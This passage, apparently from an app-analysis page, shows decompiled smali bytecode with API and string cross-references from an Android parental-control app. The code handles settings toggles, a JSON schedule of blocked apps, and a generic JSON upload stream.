                    64iget-object v0, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    66invoke-static {v0}, Lnet/vkurhandler/SettingsRootActivity;->d(Lnet/vkurhandler/SettingsRootActivity;)Lnet/vkurhandler/MyApp;
                    67move-result-object v0
                    69invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->g()Lnet/vkurhandler/dj;
                    70move-result-object v0
                    72invoke-virtual {v0, p2}, Lnet/vkurhandler/dj;->a(Z)V
                    73goto/16 :goto_2e
                    74cond_67:
                    75invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    76move-result v0
                    77const v1, 0x7f0a00f1
                    78if-ne v0, v1, :cond_7e
                    80iget-object v0, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    82invoke-static {v0}, Lnet/vkurhandler/SettingsRootActivity;->d(Lnet/vkurhandler/SettingsRootActivity;)Lnet/vkurhandler/MyApp;
                    83move-result-object v0
                    85invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->i()Lnet/vkurhandler/dj;
                    86move-result-object v0
                    88invoke-virtual {v0, p2}, Lnet/vkurhandler/dj;->a(Z)V
                    89goto/16 :goto_2e
                    90cond_7e:
                    91invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    92move-result v0
                    93const v1, 0x7f0a00e1
                    94if-ne v0, v1, :cond_95
                    96iget-object v0, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    98invoke-static {v0}, Lnet/vkurhandler/SettingsRootActivity;->d(Lnet/vkurhandler/SettingsRootActivity;)Lnet/vkurhandler/MyApp;
                    99move-result-object v0
                    101invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->j()Lnet/vkurhandler/dj;
                    102move-result-object v0
                    104invoke-virtual {v0, p2}, Lnet/vkurhandler/dj;->a(Z)V
                    105goto/16 :goto_2e
                    106cond_95:
                    107invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    108move-result v0
                    109const v1, 0x7f0a00f3
                    110if-ne v0, v1, :cond_ac
                    112iget-object v0, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    114invoke-static {v0}, Lnet/vkurhandler/SettingsRootActivity;->d(Lnet/vkurhandler/SettingsRootActivity;)Lnet/vkurhandler/MyApp;
                    115move-result-object v0
                    117invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->k()Lnet/vkurhandler/dj;
                    118move-result-object v0
                    120invoke-virtual {v0, p2}, Lnet/vkurhandler/dj;->a(Z)V
                    121goto/16 :goto_2e
                    122cond_ac:
                    123invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    124move-result v0
                    125const v1, 0x7f0a00e2
                    126if-eq v0, v1, :cond_c7
                    128invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    129move-result v0
                    130const v1, 0x7f0a00e4
                    131if-eq v0, v1, :cond_c7
                    133invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    134move-result v0
                    135const v1, 0x7f0a00e3
                    136if-ne v0, v1, :cond_e4
                    137cond_c7:
                    138iget-object v0, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    140invoke-static {v0}, Lnet/vkurhandler/SettingsRootActivity;->d(Lnet/vkurhandler/SettingsRootActivity;)Lnet/vkurhandler/MyApp;
                    141move-result-object v0
                    143invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->m()Lnet/vkurhandler/dj;
                    144move-result-object v0
                    146iget-object v1, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    148invoke-static {v1}, Lnet/vkurhandler/SettingsRootActivity;->d(Lnet/vkurhandler/SettingsRootActivity;)Lnet/vkurhandler/MyApp;
                    149move-result-object v1
                    151invoke-virtual {v1}, Lnet/vkurhandler/MyApp;->m()Lnet/vkurhandler/dj;
                    152move-result-object v1
                    154invoke-virtual {v1}, Lnet/vkurhandler/dj;->f()Z
                    155move-result v1
                    157invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    158goto/16 :goto_2e
                    159cond_e4:
                    160invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    161move-result v0
                    162const v1, 0x7f0a00e5
                    163if-eq v0, v1, :cond_ff
                    165invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    166move-result v0
                    167const v1, 0x7f0a00e7
                    168if-eq v0, v1, :cond_ff
                    170invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    171move-result v0
                    172const v1, 0x7f0a00e6
                    173if-ne v0, v1, :cond_11c
                    174cond_ff:
                    175iget-object v0, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    177invoke-static {v0}, Lnet/vkurhandler/SettingsRootActivity;->d(Lnet/vkurhandler/SettingsRootActivity;)Lnet/vkurhandler/MyApp;
                    178move-result-object v0
                    180invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->l()Lnet/vkurhandler/dj;
                    181move-result-object v0
                    183iget-object v1, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    185invoke-static {v1}, Lnet/vkurhandler/SettingsRootActivity;->d(Lnet/vkurhandler/SettingsRootActivity;)Lnet/vkurhandler/MyApp;
                    186move-result-object v1
                    188invoke-virtual {v1}, Lnet/vkurhandler/MyApp;->l()Lnet/vkurhandler/dj;
                    189move-result-object v1
                    191invoke-virtual {v1}, Lnet/vkurhandler/dj;->f()Z
                    192move-result v1
                    194invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    195goto/16 :goto_2e
                    196cond_11c:
                    197invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    198move-result v0
                    199const v1, 0x7f0a00ea
                    200if-eq v0, v1, :cond_137
                    202invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    203move-result v0
                    204const v1, 0x7f0a00ec
                    205if-eq v0, v1, :cond_137
                    207invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    208move-result v0
                    209const v1, 0x7f0a00eb
                    210if-ne v0, v1, :cond_154
                    211cond_137:
                    212iget-object v0, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    214invoke-static {v0}, Lnet/vkurhandler/SettingsRootActivity;->d(Lnet/vkurhandler/SettingsRootActivity;)Lnet/vkurhandler/MyApp;
                    215move-result-object v0
                    217invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->n()Lnet/vkurhandler/dj;
                    218move-result-object v0
                    220iget-object v1, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    222invoke-static {v1}, Lnet/vkurhandler/SettingsRootActivity;->d(Lnet/vkurhandler/SettingsRootActivity;)Lnet/vkurhandler/MyApp;
                    223move-result-object v1
                    225invoke-virtual {v1}, Lnet/vkurhandler/MyApp;->n()Lnet/vkurhandler/dj;
                    226move-result-object v1
                    228invoke-virtual {v1}, Lnet/vkurhandler/dj;->f()Z
                    229move-result v1
                    231invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    232goto/16 :goto_2e
                    233cond_154:
                    234invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    235move-result v0
                    236const v1, 0x7f0a00f0
                    237if-ne v0, v1, :cond_16c
                    239iget-object v0, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    241invoke-static {v0}, Lnet/vkurhandler/SettingsRootActivity;->d(Lnet/vkurhandler/SettingsRootActivity;)Lnet/vkurhandler/MyApp;
                    242move-result-object v0
                    244invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->o()Lnet/vkurhandler/dj;
                    245move-result-object v0
                    247invoke-virtual {v0, p2}, Lnet/vkurhandler/dj;->a(Z)V
                    248goto/16 :goto_2e
                    249cond_16c:
                    250invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    251move-result v0
                    252const v1, 0x7f0a00ed
                    253if-ne v0, v1, :cond_184
                    255iget-object v0, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    257invoke-static {v0}, Lnet/vkurhandler/SettingsRootActivity;->d(Lnet/vkurhandler/SettingsRootActivity;)Lnet/vkurhandler/MyApp;
                    258move-result-object v0
                    260invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->p()Lnet/vkurhandler/dj;
                    261move-result-object v0
                    263invoke-virtual {v0, p2}, Lnet/vkurhandler/dj;->a(Z)V
                    264goto/16 :goto_2e
                    265cond_184:
                    266invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    267move-result v0
                    268const v1, 0x7f0a00e8
                    269if-eq v0, v1, :cond_196
                    271invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    272move-result v0
                    273const v1, 0x7f0a00e9
                    274if-ne v0, v1, :cond_2e
                    275cond_196:
                    276iget-object v0, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    278invoke-static {v0}, Lnet/vkurhandler/SettingsRootActivity;->d(Lnet/vkurhandler/SettingsRootActivity;)Lnet/vkurhandler/MyApp;
                    279move-result-object v0
                    281invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->h()Lnet/vkurhandler/dj;
                    282move-result-object v0
                    284iget-object v1, p0, Lnet/vkurhandler/fw;->a:Lnet/vkurhandler/SettingsRootActivity;
                    286invoke-static {v1}, Lnet/vkurhandler/SettingsRootActivity;->d(Lnet/vkurhandler/SettingsRootActivity;)Lnet/vkurhandler/MyApp;
                    287move-result-object v1
                    289invoke-virtual {v1}, Lnet/vkurhandler/MyApp;->h()Lnet/vkurhandler/dj;
                    290move-result-object v1
                    292invoke-virtual {v1}, Lnet/vkurhandler/dj;->f()Z
                    293move-result v1
                    295invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    296goto/16 :goto_2e
                    Cross References
                    APIs
                    • org.json.JSONObject.<init>
                    • net.vkurhandler.ParentControlBlockAppActivity.getResources
                    • java.lang.StringBuilder.<init>
                    • net.vkurhandler.ParentControlBlockAppActivity.r:[Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.ParentControlBlockAppActivity.getPackageName
                    • android.content.res.Resources.getIdentifier
                    • net.vkurhandler.ParentControlBlockAppActivity.findViewById
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • net.vkurhandler.ParentControlBlockAppActivity.getResources
                    • java.lang.StringBuilder.<init>
                    • net.vkurhandler.ParentControlBlockAppActivity.r:[Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.ParentControlBlockAppActivity.getPackageName
                    • android.content.res.Resources.getIdentifier
                    • net.vkurhandler.ParentControlBlockAppActivity.findViewById
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • net.vkurhandler.ParentControlBlockAppActivity.getResources
                    • java.lang.StringBuilder.<init>
                    • net.vkurhandler.ParentControlBlockAppActivity.r:[Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.ParentControlBlockAppActivity.getPackageName
                    • android.content.res.Resources.getIdentifier
                    • net.vkurhandler.ParentControlBlockAppActivity.findViewById
                    • android.widget.CheckBox.isChecked
                    • net.vkurhandler.ParentControlBlockAppActivity.getResources
                    • java.lang.StringBuilder.<init>
                    • net.vkurhandler.ParentControlBlockAppActivity.r:[Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.ParentControlBlockAppActivity.getPackageName
                    • android.content.res.Resources.getIdentifier
                    • net.vkurhandler.ParentControlBlockAppActivity.findViewById
                    • android.widget.Spinner.getSelectedItemPosition
                    • java.lang.String.split
                    • java.lang.String.split
                    • org.json.JSONObject.<init>
                    • org.json.JSONArray.<init>
                    • net.vkurhandler.ParentControlBlockAppActivity.q:[[Z
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • java.lang.String.valueOf
                    • org.json.JSONObject.put
                    • net.vkurhandler.ParentControlBlockAppActivity.q:[[Z
                    • org.json.JSONObject.<init>
                    • net.vkurhandler.ParentControlBlockAppActivity.o:[Ljava/lang/String
                    • org.json.JSONObject.put
                    • net.vkurhandler.ParentControlBlockAppActivity.p:[Ljava/lang/String
                    • org.json.JSONObject.put
                    • org.json.JSONArray.put
                    Strings
                    • block_app_week_
                    • _begin
                    • id
                    • _end
                    • block_app_type_week_
                    • :
                    • apps
                    • type
                    • hour_begin
                    • minute_begin
                    • hour_end
                    • minute_end
                    • enabled
                    • app_name
                    • pkg_name
                    • ParentControlBlockAppActivity
                    Position Instruction Meta Information
                    0const/4 v0, 0x1
                    1const/4 v2, 0x0
                    2new-instance v1, Lorg/json/JSONObject;
                    4invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                    5move v3, v0
                    6goto_8: const/4 v0, 0x7
                    7if-le v3, v0, :cond_d
                    8move-object v0, v1
                    9goto_c: return-object v0
                    10cond_d:
                    11invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getResources()Landroid/content/res/Resources;
                    12move-result-object v0
                    13new-instance v4, Ljava/lang/StringBuilder;
                    15const-string v5, "block_app_week_"
                    17invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    19sget-object v5, Lnet/vkurhandler/ParentControlBlockAppActivity;->r:[Ljava/lang/String;
                    20aget-object v5, v5, v3
                    22invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    23move-result-object v4
                    25const-string v5, "_begin"
                    27invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    28move-result-object v4
                    30invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    31move-result-object v4
                    33const-string v5, "id"
                    35invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getPackageName()Ljava/lang/String;
                    36move-result-object v6
                    38invoke-virtual {v0, v4, v5, v6}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                    39move-result v0
                    41invoke-virtual {p0, v0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->findViewById(I)Landroid/view/View;
                    42move-result-object v0
                    43check-cast v0, Landroid/widget/TextView;
                    45invoke-virtual {v0}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    46move-result-object v0
                    48invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    49move-result-object v4
                    51invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getResources()Landroid/content/res/Resources;
                    52move-result-object v0
                    53new-instance v5, Ljava/lang/StringBuilder;
                    55const-string v6, "block_app_week_"
                    57invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    59sget-object v6, Lnet/vkurhandler/ParentControlBlockAppActivity;->r:[Ljava/lang/String;
                    60aget-object v6, v6, v3
                    62invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    63move-result-object v5
                    65const-string v6, "_end"
                    67invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    68move-result-object v5
                    70invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    71move-result-object v5
                    73const-string v6, "id"
                    75invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getPackageName()Ljava/lang/String;
                    76move-result-object v7
                    78invoke-virtual {v0, v5, v6, v7}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                    79move-result v0
                    81invoke-virtual {p0, v0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->findViewById(I)Landroid/view/View;
                    82move-result-object v0
                    83check-cast v0, Landroid/widget/TextView;
                    85invoke-virtual {v0}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    86move-result-object v0
                    88invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    89move-result-object v5
                    91invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getResources()Landroid/content/res/Resources;
                    92move-result-object v0
                    93new-instance v6, Ljava/lang/StringBuilder;
                    95const-string v7, "block_app_week_"
                    97invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    99sget-object v7, Lnet/vkurhandler/ParentControlBlockAppActivity;->r:[Ljava/lang/String;
                    100aget-object v7, v7, v3
                    102invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    103move-result-object v6
                    105invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    106move-result-object v6
                    108const-string v7, "id"
                    110invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getPackageName()Ljava/lang/String;
                    111move-result-object v8
                    113invoke-virtual {v0, v6, v7, v8}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                    114move-result v0
                    116invoke-virtual {p0, v0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->findViewById(I)Landroid/view/View;
                    117move-result-object v0
                    118check-cast v0, Landroid/widget/CheckBox;
                    120invoke-virtual {v0}, Landroid/widget/CheckBox;->isChecked()Z
                    121move-result v6
                    123invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getResources()Landroid/content/res/Resources;
                    124move-result-object v0
                    125new-instance v7, Ljava/lang/StringBuilder;
                    127const-string v8, "block_app_type_week_"
                    129invoke-direct {v7, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    131sget-object v8, Lnet/vkurhandler/ParentControlBlockAppActivity;->r:[Ljava/lang/String;
                    132aget-object v8, v8, v3
                    134invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    135move-result-object v7
                    137invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    138move-result-object v7
                    140const-string v8, "id"
                    142invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getPackageName()Ljava/lang/String;
                    143move-result-object v9
                    145invoke-virtual {v0, v7, v8, v9}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                    146move-result v0
                    148invoke-virtual {p0, v0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->findViewById(I)Landroid/view/View;
                    149move-result-object v0
                    150check-cast v0, Landroid/widget/Spinner;
                    152invoke-virtual {v0}, Landroid/widget/Spinner;->getSelectedItemPosition()I
                    153move-result v7
                    155const-string v0, ":"
                    157invoke-virtual {v4, v0}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    158move-result-object v4
                    160const-string v0, ":"
                    162invoke-virtual {v5, v0}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    163move-result-object v5
                    164new-instance v8, Lorg/json/JSONObject;
                    166invoke-direct {v8}, Lorg/json/JSONObject;-><init>()V
                    167new-instance v9, Lorg/json/JSONArray;
                    169invoke-direct {v9}, Lorg/json/JSONArray;-><init>()V
                    170move v0, v2
                    171goto_e4:
                    172iget-object v10, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->q:[[Z
                    173const/4 v11, 0x0
                    174aget-object v10, v10, v11
                    175array-length v10, v10
                    176if-lt v0, v10, :cond_137
                    178const-string v0, "apps"
                    180invoke-virtual {v8, v0, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    182const-string v0, "type"
                    184invoke-virtual {v8, v0, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    186const-string v0, "hour_begin"
                    187const/4 v7, 0x0
                    188aget-object v7, v4, v7
                    190invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    191move-result v7
                    193invoke-virtual {v8, v0, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    195const-string v0, "minute_begin"
                    196const/4 v7, 0x1
                    197aget-object v4, v4, v7
                    199invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    200move-result v4
                    202invoke-virtual {v8, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    204const-string v0, "hour_end"
                    205const/4 v4, 0x0
                    206aget-object v4, v5, v4
                    208invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    209move-result v4
                    211invoke-virtual {v8, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    213const-string v0, "minute_end"
                    214const/4 v4, 0x1
                    215aget-object v4, v5, v4
                    217invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    218move-result v4
                    220invoke-virtual {v8, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    222const-string v0, "enabled"
                    224invoke-virtual {v8, v0, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    226invoke-static {v3}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    227move-result-object v0
                    229invoke-virtual {v1, v0, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    230add-int/lit8 v0, v3, 0x1
                    231move v3, v0
                    232goto/16 :goto_8
                    233cond_137:
                    234iget-object v10, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->q:[[Z
                    235aget-object v10, v10, v3
                    236aget-boolean v10, v10, v0
                    237if-eqz v10, :cond_159
                    238new-instance v10, Lorg/json/JSONObject;
                    240invoke-direct {v10}, Lorg/json/JSONObject;-><init>()V
                    242const-string v11, "app_name"
                    244iget-object v12, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->o:[Ljava/lang/String;
                    245aget-object v12, v12, v0
                    247invoke-virtual {v10, v11, v12}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    249const-string v11, "pkg_name"
                    251iget-object v12, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->p:[Ljava/lang/String;
                    252aget-object v12, v12, v0
                    254invoke-virtual {v10, v11, v12}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    256invoke-virtual {v9, v10}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                    257try_end_159: add-int/lit8 v0, v0, 0x1
                    258goto/16 :goto_e4
                    259catch_15c: move-exception v0
                    261const-string v1, "ParentControlBlockAppActivity"
                    263invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    264const/4 v0, 0x0
                    265goto/16 :goto_c
                    APIs
                    • java.lang.IllegalStateException.<init>
                    • java.lang.System.currentTimeMillis
                    • java.util.zip.GZIPOutputStream.<init>
                    • java.io.OutputStream.write
                    • java.util.Map.keySet
                    • java.util.Set.iterator
                    • java.util.Iterator.hasNext
                    • java.util.Iterator.next
                    • java.util.Map.get
                    • java.io.OutputStream.write
                    • java.io.OutputStream.write
                    • java.io.OutputStream.write
                    • java.io.OutputStream.write
                    • java.io.OutputStream.write
                    • java.lang.Boolean.booleanValue
                    • java.io.OutputStream.write
                    • java.lang.StringBuilder.<init>
                    • java.lang.Number.longValue
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.String.getBytes
                    • java.io.OutputStream.write
                    • java.lang.StringBuilder.<init>
                    • java.lang.Number.doubleValue
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.String.getBytes
                    • java.io.OutputStream.write
                    • java.lang.StringBuilder.<init>
                    • java.lang.Number.floatValue
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.String.getBytes
                    • java.io.OutputStream.write
                    • java.lang.StringBuilder.<init>
                    • java.lang.Number.intValue
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.String.getBytes
                    • java.io.OutputStream.write
                    • java.lang.Object.toString
                    • java.lang.String.getBytes
                    • java.io.OutputStream.write
                    • java.io.OutputStream.write
                    • java.io.OutputStream.write
                    • java.lang.System.currentTimeMillis
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.String.getBytes
                    • java.io.OutputStream.write
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.Math.floor
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.util.Log.i
                    • java.io.OutputStream.flush
                    Strings
                    • Output stream cannot be null.
                    • }
                    • JsonStreamerEntity
                    • Uploaded JSON in
                    • seconds
                    Position Instruction Meta Information
                    0const/16 v9, 0x7b
                    1const/16 v8, 0x3a
                    2if-nez p1, :cond_e
                    3new-instance v0, Ljava/lang/IllegalStateException;
                    5const-string v1, "Output stream cannot be null."
                    7invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                    8throw v0
                    9cond_e:
                    10invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    11move-result-wide v2
                    13iget-object v0, p0, Lcom/a/a/a/q;->n:Lorg/apache/http/Header;
                    14if-eqz v0, :cond_1e
                    15new-instance v0, Ljava/util/zip/GZIPOutputStream;
                    16const/16 v1, 0x1000
                    18invoke-direct {v0, p1, v1}, Ljava/util/zip/GZIPOutputStream;-><init>(Ljava/io/OutputStream;I)V
                    19move-object p1, v0
                    20cond_1e:
                    21invoke-virtual {p1, v9}, Ljava/io/OutputStream;->write(I)V
                    23iget-object v0, p0, Lcom/a/a/a/q;->m:Ljava/util/Map;
                    25invoke-interface {v0}, Ljava/util/Map;->keySet()Ljava/util/Set;
                    26move-result-object v0
                    28invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                    29move-result-object v4
                    30goto_2b:
                    31invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                    32move-result v0
                    33if-eqz v0, :cond_125
                    35invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    36move-result-object v0
                    37check-cast v0, Ljava/lang/String;
                    39iget-object v1, p0, Lcom/a/a/a/q;->m:Ljava/util/Map;
                    41invoke-interface {v1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                    42move-result-object v1
                    43if-eqz v1, :cond_2b
                    45invoke-static {v0}, Lcom/a/a/a/q;->a(Ljava/lang/String;)[B
                    46move-result-object v0
                    48invoke-virtual {p1, v0}, Ljava/io/OutputStream;->write([B)V
                    50invoke-virtual {p1, v8}, Ljava/io/OutputStream;->write(I)V
                    51instance-of v0, v1, Lcom/a/a/a/w;
                    52if-nez v0, :cond_51
                    53instance-of v5, v1, Lcom/a/a/a/x;
                    54if-eqz v5, :cond_6d
                    55cond_51:
                    56invoke-virtual {p1, v9}, Ljava/io/OutputStream;->write(I)V
                    57if-eqz v0, :cond_67
                    58move-object v0, v1
                    59check-cast v0, Lcom/a/a/a/w;
                    61invoke-direct {p0, p1, v0}, Lcom/a/a/a/q;->a(Ljava/io/OutputStream;Lcom/a/a/a/w;)V
                    62goto_5c: const/16 v0, 0x7d
                    64invoke-virtual {p1, v0}, Ljava/io/OutputStream;->write(I)V
                    65goto_61: const/16 v0, 0x2c
                    67invoke-virtual {p1, v0}, Ljava/io/OutputStream;->write(I)V
                    68goto/16 :goto_2b
                    69cond_67: check-cast v1, Lcom/a/a/a/x;
                    71invoke-direct {p0, p1, v1}, Lcom/a/a/a/q;->a(Ljava/io/OutputStream;Lcom/a/a/a/x;)V
                    72goto/16 :goto_5c
                    73cond_6d: instance-of v0, v1, Ljava/lang/Boolean;
                    74if-eqz v0, :cond_82
                    75check-cast v1, Ljava/lang/Boolean;
                    77invoke-virtual {v1}, Ljava/lang/Boolean;->booleanValue()Z
                    78move-result v0
                    79if-eqz v0, :cond_7f
                    81sget-object v0, Lcom/a/a/a/q;->d:[B
                    82goto_7b:
                    83invoke-virtual {p1, v0}, Ljava/io/OutputStream;->write([B)V
                    84goto/16 :goto_61
                    85cond_7f:
                    86sget-object v0, Lcom/a/a/a/q;->e:[B
                    87goto/16 :goto_7b
                    88cond_82: instance-of v0, v1, Ljava/lang/Long;
                    89if-eqz v0, :cond_a7
